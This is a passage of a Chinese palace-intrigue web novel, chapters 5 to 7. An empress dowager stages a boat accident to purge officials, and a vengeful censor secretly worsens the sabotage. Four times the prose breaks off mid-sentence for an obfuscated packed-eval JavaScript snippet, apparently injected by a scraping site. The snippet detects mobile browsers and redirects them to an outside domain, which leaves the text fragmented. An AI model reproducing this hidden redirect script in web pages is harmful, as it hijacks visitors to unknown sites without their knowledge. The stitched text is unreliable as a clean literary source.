可是上官栩却看见一个内宦踉跄的,快步向他们冲来,目光阴狠。 他的手从袖中拿出,闪出一道白光。 上官栩惊目一瞬,双手环上身前人的腰,然而方想调转二人位置,“小心”还未喊出口,她便听见上方传来“唔”的一声闷哼,船体跟着猛地一下倾覆。 全身被砸入水中,瞬间,失去了意识…… …… “娘娘,手炉。” 青禾的声音将上官栩的思绪抽回,同时也将手炉递了出去。 祈福仪式上出了那样的事后,上官栩便回了宫,如今方梳洗更衣完。 尽管殿内生了地龙,但被寒水泡了那么一遭,上官栩现下便仍是觉得冷的。 她闭目缓了缓,说道:“人都到了吗?” 青禾点头:“都已在偏殿等候。” 上官栩轻声:“让他们过来吧。” 上元祈福夜,在太后和皇帝同舟祈福的重要时刻竟出现了船舱漏水的情况,甚至一国太后还因此落水,所以无论有无人员伤亡,是意外还是人为,这件事情都不会是小事。 祈福一事所有章程由礼部主理,而游船等祈福所用的器物则由工部负责。 上官栩连夜召了礼部和工部的官员进宫问话,而徐卿安作为负责协理和监察此事的御史自然也要到场。 至于苏望,身为辅政首相,就是不请也会自来。 礼部来的是礼部尚书和掌祭祀之事的祠部司郎中,工部的尚书刚致仕不久,现下尚书之位还空缺,所以来的就是两位侍郎和水部司的郎中。 上官栩回宫后梳洗一番,换了新衣,一切仪态气度恢复如初。 徐卿安也有宫人在之前为他送上了一套全新的官服,又找了间偏殿让他擦拭了头发,重新束好了发髻,不至于殿前失仪。 只是他的脸仍有些红。 上官栩出来后邀了苏望入座,视线却不经意地扫过站在最后的徐卿安的身上。 他那时正行完礼,与众人一起低垂着头,这般寻常的姿态却莫名让上官栩感受到他身上的一股萧索感。 仿佛扇他巴掌的那一幕又重现在了她眼前。 上官栩平息一口气,移开眼,面向所有人开口道:“今日这事诸位是如何打算的?” 话落,工部和礼部的官员面面相觑,他们知是太后要交代来了。 苏望在一旁头也没抬的,端起茶盏喝了一口茶。 上官栩余光瞥见之后眼眸动了动,扬了扬下巴继续看向众人。 礼部的官员便率先开了口,他们的意思是,祈福的所有流程都是依照最先定好的计划进行,除了今日船舱漏水造成最后的收尾问题外,中间并无任何差错,然而那船舱漏水确实也不是他们礼部能够控制的。 于是矛头便转向了工部。 船体建造由工部全权负责,今夜之事全系于船舱漏水上。 工部的人辩解不得。 工部郎中出来道:“游船建造完成之际,臣就派人去做了验收,那时并无发现任何异常……” “那你的意思是说,这是天罚?本是好好的船,结果我和陛下一上去就坏了?”上官栩冷声道。 工部郎中闻言,脊背一凉,慌忙一下就跪了下去:“臣……不是这个意思……” 上官栩乜他一眼,哼一声继续道:“说来也真是巧啊,长安已经快四年没有举行这样的水祭了,结果今年才第一年重来,就出了这样的事,而上一次,也是船舱漏水,也是意外……” 说着,上官栩眼中闪过一丝怅然,然后又抬眼,眼神蓦地染上霜寒:“所以工程无恙,验收无恙,就是我天家有恙?坐不得游船,行不得水祭?” “上一次先帝因此而崩,这一次上天就是要我的命了?还是说要的是与我同行的,陛下的命啊!” “扑通”几声,殿里站着几位官员全部跪下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715872|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些话事关天家,而天家天德最是讳莫如深,朝堂之上但凡说到这些话,官员们都会如惊弓之鸟,不敢多说半句。 而当年昭帝猝崩也确实是震惊朝野之事,虽然最后定的是意外,但是当时被牵扯进去的人却不在少数,上官栩现下把两件事情合在一起说出来,威慑的同时,也大有一副想把今日之事和当年昭帝之事摆在同等严重层面的态势。 然而正与众人一起跪埋着头的徐卿安唇角却无声地勾了勾,轻轻嗤了声。 意外,上天殛罚…… 真有你的。 四年前就用了这套法子拉人下水,如今又要故技重施了? 啧啧,那将要被拉下水的人啊,提前为你备一杯清酒,送你上路吧。 苏望在此时开了口:“殿下不必如此惊慌,所幸今日没有酿成大祸,船舱漏水也许是哪一个地方没有注意好,才出了岔子,让他们自己查查,挨个问责就好了。” 上官栩便叹:“今日确实幸运,尤其是陛下,只微受了惊吓,身体上倒是无恙,可是苏公,这件事情坏就坏在百姓看见了。” “水祭重启,本想着让陛下与民同乐,为民祈福,以显陛下爱民仁德之心,然而接连两次水祭皆是出了同样的问题,中间甚至还隔了那么久,难免就会让百姓多生担忧——” “是否是我天家真有失德之嫌,才让上苍接连两次在水祭上降灾。” “苏公,就算你我都知道这是意外,可是百姓那儿总得有个交代啊。” 苏望垂眸,淡声道:“那殿下想要如何做?” 上官栩也算有商有量道:“其实我想的和苏公一样,就是查一查到底是哪一步出了岔子,但是,要查得彻底,要查出之后对相关之人从重处置,以此向百姓交代——此为人祸,而非天罚。” 苏望沉吟片刻,抬眼问地上跪着的人:“你们的意思呢?” 这事情直指工部,工部的人自然不敢多言,而偏巧祈福一事又是礼部主导,若不和工部划清界限难免火就会烧到自己身上,然而礼部官员又摸不清苏望这话里的意思——到底查还是不查,所以便是心里想让上官栩去查工部,也不好说出来。 跪在最后的徐卿安在此时跪直身子拱手道:“臣觉得,太后殿下说得极是。” 上官栩不动声色地看过去。 徐卿安也没抬头,继续道:“这件事情一则事关殿下和陛下的安危,陛下更是一国之主,此事若不严查,恐怕有损天威。” “二则,正如殿下所说的——天德,长安水祭本已停了几年,偏巧今年再举行时就遇上了与之前同样的事,若有居心不轨之人将两者联合起来做文章,那更是于大晋和陛下都是不利的。” “所以我们要趁此之前,先向百姓给出个交代,也是向陛下和殿下给出交代。” 话落,既有人站了出来,礼部的官员便也连忙跟着附和了徐卿安的说法。 上官栩垂眸,朱唇浅扬,压下来后又望向了一旁的苏望。 他默了默,终是听他说道:“既都这样想,那就依殿下的意思来办吧。” 上官栩神色如常:“好,那这件事就先交由御史台去查办。” 适才落了水,上官栩有些咳嗽,事情商量好之后就让众人先回去了。 徐卿安走在队伍的最后头,脚步缓慢,他听见上官栩愈发频繁的咳嗽声,与端药进来的宫女擦肩而过。 那药是刚煎好的,还冒着热气,只是那缕缕雾丝就像是苦涩化作而成的,顺着风,侵入人的口鼻中。 徐卿安闻见后,舌尖一下泛起苦,眉头一皱,头不觉往后,往上官栩的方向一偏。 然而只一瞬,他便克制住了自己的冲动,偏头回来。 有什么好心疼的? 当年掩护刺客,拖他下水的,不正是她么? 那年春三月的水可比今年上元夜的要冷得多啊。 徐卿安神色恢复如初,甚至眸色变得更冷,继续迈步向前。 只是袖中握着的拳头,更紧了。 5. 第 5 章 三月三,春回地暖的时节。 可是曲江的水依旧是冷的,依旧是冰寒刺骨的。 好冷…… 江水侵蚀着全身,血液从背后的伤口流出,跟着江水蔓延。 周遭的一切都是黑的,周景知无助地浸泡在江水里,感受着自己的下沉。 那刺他的匕首上应该涂了毒,让他所有的感官都变得麻木,视线开始模糊。 江面上是有光的,可是他用仅存的意志凝眸望着一处离他远去的黑色轮廓—— 那是他的皇后被跳下来的禁军救走了。 她没有回头,没有挣扎,极为从容地在禁军的搀扶下向水面上游去。 好冷啊…… 他的身边也有禁军赶来。 可不是来救他的。 禁军游到他身边,一脚,将他踹进了更深的深渊…… …… 房间的窗户没有合拢,碳炉也没有点上,屏风后的浴桶蓄满水,却是平静非常,周围没有任何雾气缭绕。 徐卿安从水面下一下破水而起,水珠淋漓落下,滴嗒声一片,房内的平静方才被打破。 发梢、指尖皆是浸水后留下的痕迹。 外面的风绕过屏风吹过,身上残留的水珠缓缓蒸发,带走热气。 可是这样也还不够冷。 就算浸在冷水中,吹着寒风,也不够冷。 不够那年上巳夜的冷。 徐卿安抬眼,长睫下的眼底通红。 他呼吸微颤,想着青禾对他说过的话,凝眸望着虚无。 怕水么? 可该怕的不应是我么? —— 徐卿安回了卧房,坐在书桌前,桌案上铺陈着纸张,上面密密麻麻的,写满了字。 然而徐卿安现下却是手支着案,极为闲适地把玩着手里的小白瓷瓶,一目不错地端详着。 这是上官栩扇了他一巴掌之后派人给他送来的消肿药。 白瓷净冷,上面寻不到她的任何气息。 但他始终没有放下,也没有用过—— 虽然那时她很生气,但以她的力道,不至于把他扇得脸红肿、口吐血,不过多留一会儿印记在脸上罢了。 “咚咚咚!” “开门!” 房门被急促敲响,外面传来的开门声不容拒绝。 徐卿安回神,将白瓷瓶放好,赶忙就去开了门。 门外站着有两人,一个是颇有仙道之气的长须霜发的老者,一个是站在他身后神态身姿极为恭敬乖巧的青年。 徐卿安眼神和后方的青年相接一瞬,便也立马变得乖巧起来,语气中还带着忐忑:“先生,您怎么来了?” 那老者霸道十分,眼中还满含怒气地恨他一眼,径直走进了屋:“我听人说,你洗了个冷水澡!” 徐卿安心虚地倒吸一口气,望向了老者身后之人。 “你别看他!”老者厉声打断,“你们两个,没人能瞒过我!” 徐卿安不得不承认:“是,是刚洗了个冷水澡。” 老者责备道:“你还嫌今日在昆明池里泡得不够是不是?偏还要回来洗冷水澡?怎么,你身上的毒拔完了?” “我……” 眼前的老者是五岩山上的名医,须丰以,当年徐卿安受难,多亏了他才保住了一命,而他身后的年青人就是他的徒弟,荀阳。 他授医严格,对待病人更是严格,这几年来,但凡徐卿安有哪里不遵医嘱,都免不了被他数落,骂一顿。 再加上他又是前辈,徐卿安在他面前当真是听话得不得了。 徐卿安支吾道:“我今日出门前不是已经吃下了先生给的驱寒丹吗?” 须丰以不苟言笑道:“所以就可以乱来了是吗?” 徐卿安语塞。 “坐下!”须丰以命令道,“把手伸出来。” 徐卿安听话照做。 须丰以把着脉,眸色渐沉:“免不了又要遭一阵风寒。” “荀阳!” 老者身后的青年应道:“师父……” 须丰以来回看了二人一眼后道:“我把药方开好后,你将药煎给他,务必看着他全部喝下!但凡他没好好喝药,你们两个,一起算账!” 荀阳拱手,毕恭毕敬的:“是。” 须丰以拂袖而去。 屋中余下的两人松了一口气,又面面相觑。 荀阳这才开口道:“你说你,我师父在的时候还乱来,真是欠骂了。” 徐卿安摇头笑了笑:“须大夫确实是性情中人,但我此举也不是在乱来。” 荀阳半信半疑道:“那你想做什么?” 徐卿安答非所问:“须大夫的方子一向极好,都说是药三分毒,他却能将毒性降到最低,愈补作用做到最高,这次他开的治风寒的药,你可能帮我制成药丸?” 荀阳挑眉:“你这是要带出去送人?虽说治风寒的药大多可以通用,但也没有把药当作礼物送的道理。” 徐卿安神情一滞,旋即辩驳道:“你怎这般想法奇特?我带出去送给谁?不过只是后面要去查工部的事,恐怕要忙碌起来,觉得药丸带在身上用起来更方便罢了。” “哦——”问一句还三句,荀阳似是而非地点点头,眼睛望向了书案那边,笑容戏谑,“才这么一会儿就又写满纸了?” 徐卿安知他话中之意,冷冷道:“要不这次我不喝药,我们俩在你师父面前同归于尽吧?” “你!”荀阳顿时吃瘪,又不得不服的,“你厉害,我不跟你扯。” 说着他就要走。 然而临走前他仍是关怀说道:“不过以后你若是想要拿什么药可以直接与我说,我虽医术不及我师父,但也自认比大多数大夫要厉害,你现在在拔毒关键阶段,不要乱来。” 徐卿安点头,也温声回道:“我知道,多谢。” 荀阳再看他一眼,觉得他必然也只是嘴上这样说说罢了,不然也不至于以他师父的医术拔了快四年毒都还没拔完。 荀阳眼中无奈,嘴上叹了一口气,终是离开了。 徐卿安独自坐在房中,夜间寂静,昏黄的烛光下,他不知觉地抬手抚过自己的一侧脸颊。 上面残留的红痕早已消失不见,然而脑中却一直浮现着她今夜的模样—— 就只吹了那一会儿风,在大殿里就那样咳嗽。 她的身子骨当是比他的还要弱。 徐卿安垂眸。 早知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715873|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,就不拉她下水了,想接近她,得她信任,总有其他办法。 —— 立政殿内,上官栩褪下了常服,只着了一身单薄中衣,上了床榻,准备歇下。 有侍女端了姜汤进来,青禾捧过,说道:“娘娘,喝了姜汤再睡吧。” 上官栩轻嗯一声,接过碗之后吹了吹,待觉温度差不多后,再仰头一口气将碗中的汤饮尽。 随后,她接过青禾递来的巾帕后擦了擦唇,说道:“刚才那碗药可是处理好了?” 青禾点头:“嗯,已经让人悄悄倒掉了,不会让外人察觉。”说完,她也跟着问了句,“明日还继续熬么?” “熬。”上官栩肯定道,“既然戏开始演了就要演全。” 今夜,众臣离开时端进来的那碗药,是上官栩提前准备好的,她最后也并没有喝。 而今夜船舱漏水,也是上官栩提前安排的。 唯一在她意料之外的,就是她今日落水一事。 因她一早就知今夜祈福的游船会漏水,所以她最初才让礼部放弃了巡游的计划,只是没想到礼部和徐卿安会先斩后奏,竟钻了空子,把祈福仪式和巡游合在了一起。 不过这其实也没什么。 因为不管怎样,祈福仪式时,上官栩都是在船上的。 也就是说,只要时间把控得当,就算游船划出去一圈,她也可以安全下船。 徐卿安也正是这样说的——祈福结束船就会靠岸,不会有太大时间的出入。 可是,船舱还是出问题了,就在仪式结束、准备划回礼台的时候。 莫不是安排下去的人动作太大了,一时没控制好船舱的漏水速度? 上官栩现在还弄不清楚。 不过今夜落水却也并非是什么坏事。 她最初因为顾及到小皇帝,所以就是准备在快要下船时,让船舱漏水并且让人宣扬出去,那时她仍可以如今日这般搬出天家德行的措辞来加重此事的严重程度。 然而若这样行事,或许就会显得小题大做,像是她刻意为之。 但她如今落水了,就不一样了—— 有昭帝的事在前,那是真的很容易死人了。 所以她在和众臣议事前,让青禾去备了一碗“苦药”,以此强调这次落水对她的影响,甚至到后面若需要,她还可以给自己营造一副虚弱不堪的假象。 只要能把这件事情闹大,只要能达成她的目的。 当年昭帝之事,朝中多少官员被借此清算。 那是苏望的手笔。 这一次,她也借着他的法子来,清一清他的人,虽说她难做到昭帝那事的程度,但对于这一次她想要清算的人,也够了。 至于徐卿安…… 上官栩回想着近日这个人身上的一切。 这个人的心思她确实至今也没摸透。 不过今日用了他两回,倒也还趁手。 尤其是在殿里时,他竟能在苏望面前主动站出来,站在她这边,以至于让她准备的药都没派上最初的用场。 也算帮她免了口舌之苦。 倒真能看出他的几分诚意了。 那便再多用几回吧。 若真有二心,再杀不迟。 6. 第 6 章 立政殿侧室内,香薰袅袅,兰香沁脾。 上官栩半躺在里面的小榻上,支额看着书。 青禾轻步进来,到她身边轻声:“娘娘,阿筝回京了。” 上官栩抬眼,先往侧室前方的画像那儿看了一眼,再坐起身道:“出去说。” 此间侧室装扮简朴,就挂一副画像,画像前摆一桌案,然后侧边一方美人榻,便没有其他多余的装饰了。 上官栩时常在里面看书,但她几乎从不与人在这里谈论事情。 二人步出侧室后,上官栩才说道:“事情怎么样了?” 青禾道:“阿筝已经将人护送进京,诉状也送去了御史台,因是直接实名上诉,未用“风闻言事”[1],所以阿筝担心证人行踪泄露后,会有人对他们不利,便暂时没有回宫,继续留在暗处守着证人,也助他们把事情扩散了出去。” 上官栩颔首:“阿筝行事考虑一向周全。” 青禾便再道:“祈福之事,御史台那边已经查到了游船上,娘娘您看要做什么么?” “不用,就是要让他去查。”上官栩忽而笑了下,“如今证人进京,诉状上了,游船也查到了,我可把要用的东西都摆到他面前了,就看这一次,他接不接得住了。” —— 工部的事情,上官栩说是交给御史台去查,其实就是徐卿安去查。 负责此案的有两个御史,二人互相协作,也互相制衡。 船舱漏水,自然最先要查的就是船体本身了。 游船被拖上岸,徐卿安率先下到船舱里,找到漏水的位置。 船只下过水后许多痕迹都会被水冲散,但是也难保会有漏网之鱼。 正如之前所想,在上官栩重启水祭时,徐卿安便觉得她做这件事不会单纯。 所以他在后来同礼部安排章程时就一直在暗中探查着这件事,果然,在建造船只的柚木上发现了问题—— 柚木防虫防潮,是极佳的船只建造木料,毕竟船要下水,最怕就是经不住风浪,防不住水渗了。 然而徐卿安却发现用于搭建船舱的柚木表面上看起来无异,但其实只是表面封了一层蜡油提亮,内里结构早就腐朽,若是用这样的木料做船,下水之后用不了多久就会被水和船舱上面的重量一起压着变形,然后破裂。 不过徐卿安不仅没有声张,反而让人在祈福前夕潜到船舱里,对着那些柚木泼了点东西—— 柚木连接之后会用椰子壳的纤维填充缝隙,再加以用桐油和石灰涂抹加固防水,而泼的那个东西,就是能把那缝隙里的填充材料给腐化的。 也因此,船舱破裂漏水的速度超出了上官栩的预料。 徐卿安最先赶下来,其实也是为了看一看还有没有残留的痕迹,若有,他也好提前清理掉。 “徐御史,走得这么快,可是这下面有什么重要的线索啊?” 伴随着踩着木梯下来的脚步声,一声清幽的男音渐渐靠近—— 另一位负责此案的御史带着人走了下来。 徐卿安半蹲着,神色冷淡,并没在第一时间回话,而是凝眸望向了船舱破漏处,然后伸手靠近…… 直接将那块柚木折断下来! 后面的人俱是一惊。 “你这是做什么?” 徐卿安这才带起笑,拿着折下的木板面向众人站了起来:“线索啊。” “陈御史不妨看一看这木板。”他话语轻松,连带动作也显得悠然。 对面的御史陈峰接过木板,疑惑地来回翻转着看了看。 徐卿安提醒道:“陈御史注意看材质,也可以上手往里面碰一碰。” 陈峰便照做,随即惊道:“粉的!” 这木材看起来坚硬,实则一碰就碎,质地就像粉末一样。 徐卿安神态自若道:“看来船舱漏水的原因有结果了。” “徐大人!陈大人!” 有差役匆匆下到船舱来。 “御史台那边来消息,说刚有人到了御史台实名上诉状,状告工部刘侍郎强征土地、强抢民女!” —— 这边刚查到工部负责督造的游船木材上出了问题,那边就有状告工部侍郎。 徐卿安心领神会,回了御史台见过证人之后,就立马进了宫请见太后。 上官栩早已等候多时。 殿内,宫人将徐卿安领上来之后,青禾便带着众人退了出去。 徐卿安微诧异。 上官栩勾唇道:“我知道,徐卿现在来找我定是有要事要与我商谈,我提前遣人下去,也免了你的诸多顾虑。” 徐卿安便拱手:“娘娘果真慧眼如炬,什么事情都瞒不过娘娘。” 又是一贯的花言巧语,上官栩不和他废话:“你来,可是因为御史台实名诉状一事?” “是。”徐卿安抬眼望去,眼尾带笑,眸中流光,“但也不只是。” 上官栩也望着他,然而她神色却比刚才冷了些,根本不对他的笑意做任何回应。 只因她觉得她与他直入主题,而他却大有一副要弯弯绕绕的架势。 不识好歹。 然而下一句就听他说道:“臣今日去了游船上探查,发现船舱所用的柚木,只外表看起来正常,然内里早已腐朽,根本不适用于船只建造,更莫说是用于让娘娘和陛下乘坐的船了。” “又巧的是,就在臣发现柚木问题之后,就有人到御史台上了诉状,告的还是工部的侍郎,也算与游船之事相关的人物。” 上官栩闻言挑眉,明知故问道:“你的意思是,工部刘侍郎和上元夜游船漏水一事有直接关系?” 徐卿安垂眸微笑道:“这都要看娘娘的意思。” 上官栩:“哦?” 徐卿安说道:“虽说如今有人针对刘侍郎实名至御史台上诉,但上诉是一回事,查办又是另一回事。” “前段时间,工部尚书致仕,现下正是工部择选新尚书的关键时期,刘侍郎作为工部侍郎之一,自然就是尚书一职的备选官员,娘娘若是对他寄有厚望,那自然就要想办法让他少沾些对他不利的事情了。” “是这样啊。”上官栩轻轻笑了几声,离开座位,站起身来,一步一步,悠闲地走到殿中位置。 徐卿安也在余光中察觉到了她的靠近,微抬眼,正对上她盈盈流波的目光,他亦回笑,以此迎接她的到来。 她停在了他的面前,歪了歪头,视线离开他的双眸后,对着他脸上其他地方、连带着他颈下玉润的肌肤,扫了一眼又一眼。 她眼中含媚,声音柔柔:“徐卿可真是为我好打算啊。” 徐卿安自得道:“理应为娘娘分忧。” 然而下一刻,上官栩却突然冷脸。 “跪下!” 徐卿安怔忡一瞬,陡然下跪。 “娘娘……” 上官栩微扬下巴,睨他一眼,打断道:“为我分忧?上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715874|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元夜,游船巡江,你还没给我个交代呢。” 她声音变冷变柔:“我记得我曾说过,要取消巡游,可是到最后游船依旧出巡,甚至都没有提前与我说一声,怎么,是徐大人跟着礼部的人一起阳奉阴违?还是说,也同今日一样,是徐大人胡乱揣度我的意思所致啊!” 取消游船巡游一事,上官栩曾特意向徐卿安嘱咐过,让他转达给礼部的官员。 若真要论因果,就算是因为船只出了问题,但若真依上官栩最初的安排,游船只停靠岸边的话,那也不会发生落水的事情。 这件事她没有在当天晚上,向苏望和工部礼部的官员提起,却是在现在单独向徐卿安算起了账。 徐卿安心中微紧促,一下摸不清她的用意。 可是他依旧抬起脸笑道:“娘娘误会臣了,臣所思所想,真的都是为了娘娘啊。” 他眸光真诚,眉头还时不时地抬一下,露着委屈。 “游船出巡一事,确实是礼部的官员建议的。” “上元祈福,岁时重典,娘娘重启水祭,也是想与民同乐,多少人也想借此见一见娘娘和陛下,所以若是直接取消巡游,让百姓跑空,反而对陛下和娘娘的声望不好。” “臣又想着娘娘之前只是担忧陛下受寒才取消的巡游,那或许只要能将巡游时间控制好就可以了,两相取舍下,礼部便有了祈福时快速巡游的这个方案。” 说着,徐卿安兀然一呼:“然而臣实在没有想到,游船会出问题啊!” 他拱手请罪之后,头叩在地上。 上官栩立身站着,乜眼瞧着他。 “那你刚才说的工部尚书一事……” 徐卿安立直上身,拱手快速道:“臣身为监察御史,百官之事自是多有关注,没曾想娘娘并不喜欢,那以后臣不多言便是。” 说着,他就又要叩首下去,然而刚有动作,一只携着芍药淡香的柔荑就抚过他的下颌,钳住了他的下巴。 徐卿安眼睫瞬间轻颤,呼吸都快了瞬。 他从未预料到她会有此举动。 “娘娘……” 连说话都需用气声掩饰。 而她却从容地挑起笑道:“我并非不喜欢,我只是觉得,你说得太过直白了。太过直白就容易让别人抓住心思,你可明白?” 徐卿安表面自若地浮起笑:“明白,只是在娘娘面前,臣自觉无需伪装什么。” 上官栩双眸一觑:“嗯?” 徐卿安仍旧被她钳着下巴,然而他却已经消化了她的动作,更将这种钳制转变了一种享受。 当危机化作抚慰,开始慢慢占据上风。 他主动抬了抬下巴,让他的神情能够更清晰地落在她的眼里:“臣心向着娘娘,自然就应该将一切剖析在娘娘面前,没有隐瞒。” 他凑近的脸,带着极为诚挚的言语到上官栩的面前,就是要让她无可逃避地接受他现下传递给她的一切。 可是她长睫闪了闪,移开了眼。 徐卿安眼中的光瞬时寞然。 上官栩自然不会信他的话,但不知为何,她也并不排斥,虽没有再与他对视,但目光依旧流连于他玉白干净的面容上。 钳在下巴上的细指缓缓移动,停在了昨夜,她扇他的那处。 掌心跟着抚下,他蓦觉一烫。 往事回溯,痛和柔交织在一起。 “痛吗?”她问。 腰肢浅弯,呼吸带来热意。 7. 第 7 章 又只这一个动作,一句话,他的气息便再次不受控制。 她的手抚上他的脸,掌心温度传来的那一刻,除了记忆中的痛和当下的柔以外,他还不觉颤一下,浑身晕开一阵酥麻。 痛吗? 她问。 他的目光一直注视着她,就是想等她回望过来的那刻。 可是她始终没有如他的愿。 “现在不痛了。”他开口道,嘴上有些漫不经心,但双眸却仍紧紧地锁住她,执着地等着她的目光。 “现在不痛了,那就是之前是痛的了。”上官栩将他的底层意思挑明,“还以为你要说不痛呢。” 她终于看了过来。 尽管目中带着戏谑。 可是他却笑了:“那样的话娘娘不会信的。” “我为何不信?”上官栩疑惑道,“好听的话不都是这样说的么?” “因为那时,娘娘的手也痛啊。” 徐卿安将手掌缓缓覆上去,感受到她的指尖不自觉颤了下,而他却仍顺着她的指缝在她的手背上摩挲,又偏头蹭了蹭,将她的颤栗抚平。 “臣若说不痛,岂不是显得娘娘动手时,手也不痛了?可那时,臣分明见娘娘的手心也红了,臣又岂能说不痛呢?” “而且……”徐卿安顿了顿,再道,“臣刚才才说,臣心向着娘娘,自然现下就不应对娘娘有所隐瞒。” 上官栩没忍住笑了下。 她并不在乎他话中到底有几分真心几分假意,只是觉得现下这样突然有些有趣。 她的手心手背都因他的轻抚变得更加温热,她也就继续温和问道:“那你可曾怨我?” “怨?”徐卿安蹙了下眉,语气不明。 上官栩没在意,只补充道:“怨我在众目睽睽之下,扇了你一巴掌。” 徐卿安眼底的晦暗散去,唇角重新带起笑:“能帮得上娘娘,是臣的幸事,又如何会说得上怨?” “哦?扇你一巴掌和帮我有什么关系?”腰弯的久了难免会有不舒服,上官栩便立直身子问道。 放在徐卿安脸上的手也跟着抽了出来。 覆在肌肤上的温热没了,徐卿安掌中也觉得一空。 他跟着她的动作将手放下,手指摩挲着,在残留下的余热中温存。 上官栩看不见他手中的动作,只等着他回答。 片刻,徐卿安才抬眼道:“臣在说之前能否向娘娘讨个恩典?若是臣一会儿说错了话,还望娘娘容情,恕罪。” 上官栩翘首道:“这么严重啊?”她思忖一瞬,点头道,“好,准了。” 得了首肯,徐卿安便道:“游船漏水,娘娘坠水,这事看起来严重,但其实若周旋一下,也可以把这件事说得不严重。” “游船漏水,但终究是平稳靠了岸,娘娘坠水,但整艘船上也只我们两人遭了不幸。娘娘如今安康,臣与娘娘自是感叹万幸,然而其他人或许并不这样想。” “且不说可能会传出娘娘与臣之间怎样的荒谬言论,就是娘娘想要彻查游船漏水的原因,可能也会受阻碍。” 徐卿安望向上官栩道:“就比如臣刚才提到的工部尚书空缺一事。” “游船修建事关工部,但又恰逢现下正是工部人员调整之际,在此时对工部的所有动作都会被放大,所以要想彻查此事,不给他人落口舌的机会,就得将自己的立场彻底摆正。” “而娘娘当着众人扇臣的那一巴掌,就是将自己彻底与臣、与游船漏水一事,划清界限,杜绝一切“以苦肉之计,谋而后动”的说法。” 是,先是重启水祭,再是游船漏水,最后又是与之相关的工部侍郎被人实名上诉,三件事情联系起来着实太巧,上官栩在此前就曾想过如何把自己给摘出来。 结果谁知,她落水了。 一巴掌下去,她怒不可遏,当着在所有赶来救她的人面前失态,为的就是要传出去,让在礼台上的人知道—— 这件事,对她来说,就是意外! 而且还是一个让她极难接受的意外。 上元夜,徐卿安为她所用了两次,一次是在事后殿内,他主动站出来附和她,一次,就是那一巴掌。 只是上官栩原以为,那一巴掌只是她单方面强加出去的,没想到他竟也明白了她的用意。 她开始审视眼前这个跪着的青年。 而徐卿安勾起唇,对她笑道:“娘娘刚才话还作数吧?若臣刚才哪些地方不对,还请娘娘容情啊。” “我说的话自然算数。”上官栩移开眼,转过身往一旁走去。 徐卿安视线跟随。 她不过行出几步便停下,回身,面泛温婉对他道:“而且你说得也不算冒犯,我何必要罚你。” 徐卿安垂眸,微微欠身:“娘娘宽仁。” 他问:“那不知工部刘侍郎的事,娘娘是如何打算的?如今在旁人看来,娘娘就是上元夜最大的受害者,娘娘若是在此时想对工部有所安排,旁人也不会觉得有什么不应该的。” 上官栩默然片刻,抬眼间慢慢踱步回来,她道:“大晋律,凡越级告诉,若非谋逆大罪,告诉者先受笞刑,其刑残酷难忍,所以一般来说,鲜少有人走这个路子,一用则多有大冤。” “而今日,御史台受诉的,不仅是实名越级告诉,被告诉的人更是六部侍郎,朝中四品大员,这样的背景下告诉者必然是背水一战,证据准备齐全。” “依我看,这件事情没有什么转圜的余地,而且我也并不想转圜。” 她停在他面前,微倾身道:“你刚问我,工部尚书暂缺,可是对那刘侍郎寄予厚望,但我想告诉你的是,他跟我有什么关系?” “我扇你一巴掌确实是想把自己摘出来,但也仅此而已,我如今所求就是想要昨夜之事的一个交代,也如昨夜我在殿里说的那样,给百姓一个交代。” “至于旁的其他什么事情,与我无关,依律惩处便是。”说着,上官栩突然垂眸轻笑了一下,“当然,若是徐大人觉得因为这个交代要牵扯到其他人,那你也只管去做,不必来问我意见。” 其他人三个字特意咬重,不是真的不必来问意见,而是牵扯到的那个特定的“其他人”——工部刘侍郎,不用再来问到底可不可以牵扯。 因为答案显而易见,可以。 徐卿安跪听完,昂首,眸如水洗般明亮,柔声道:“臣明白了。” 上官栩也莞尔:“徐卿聪慧,实为我省心。” 徐卿安谦逊垂眸:“娘娘谬赞。” 话至此处,上官栩自觉差不多了便立直身子道:“既然徐卿明白了那便着手去做吧,笞刑可不好受,告诉者到了御史台别话还没说出来,嘴就张不开了。” “是。”徐卿安了然。 然而方才见他腿下有起身的动作,深绿官袍跟着动了动,就见他又停了下来。 上官栩疑惑:“徐卿还有事?” 跪地太久,其实双膝已有发痛发麻,可是徐卿安抬眼瞧了上官栩一瞬,仍选择跪着道:“臣还有一物想进呈给娘娘。” 跪地进呈更显诚意。 而且,在这个位置,这个姿态,他能更名正言顺地仰脸,与她对视,看清她的神情。 “什么?”上官栩蛾眉微蹙,只在意他要给的东西。 她以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 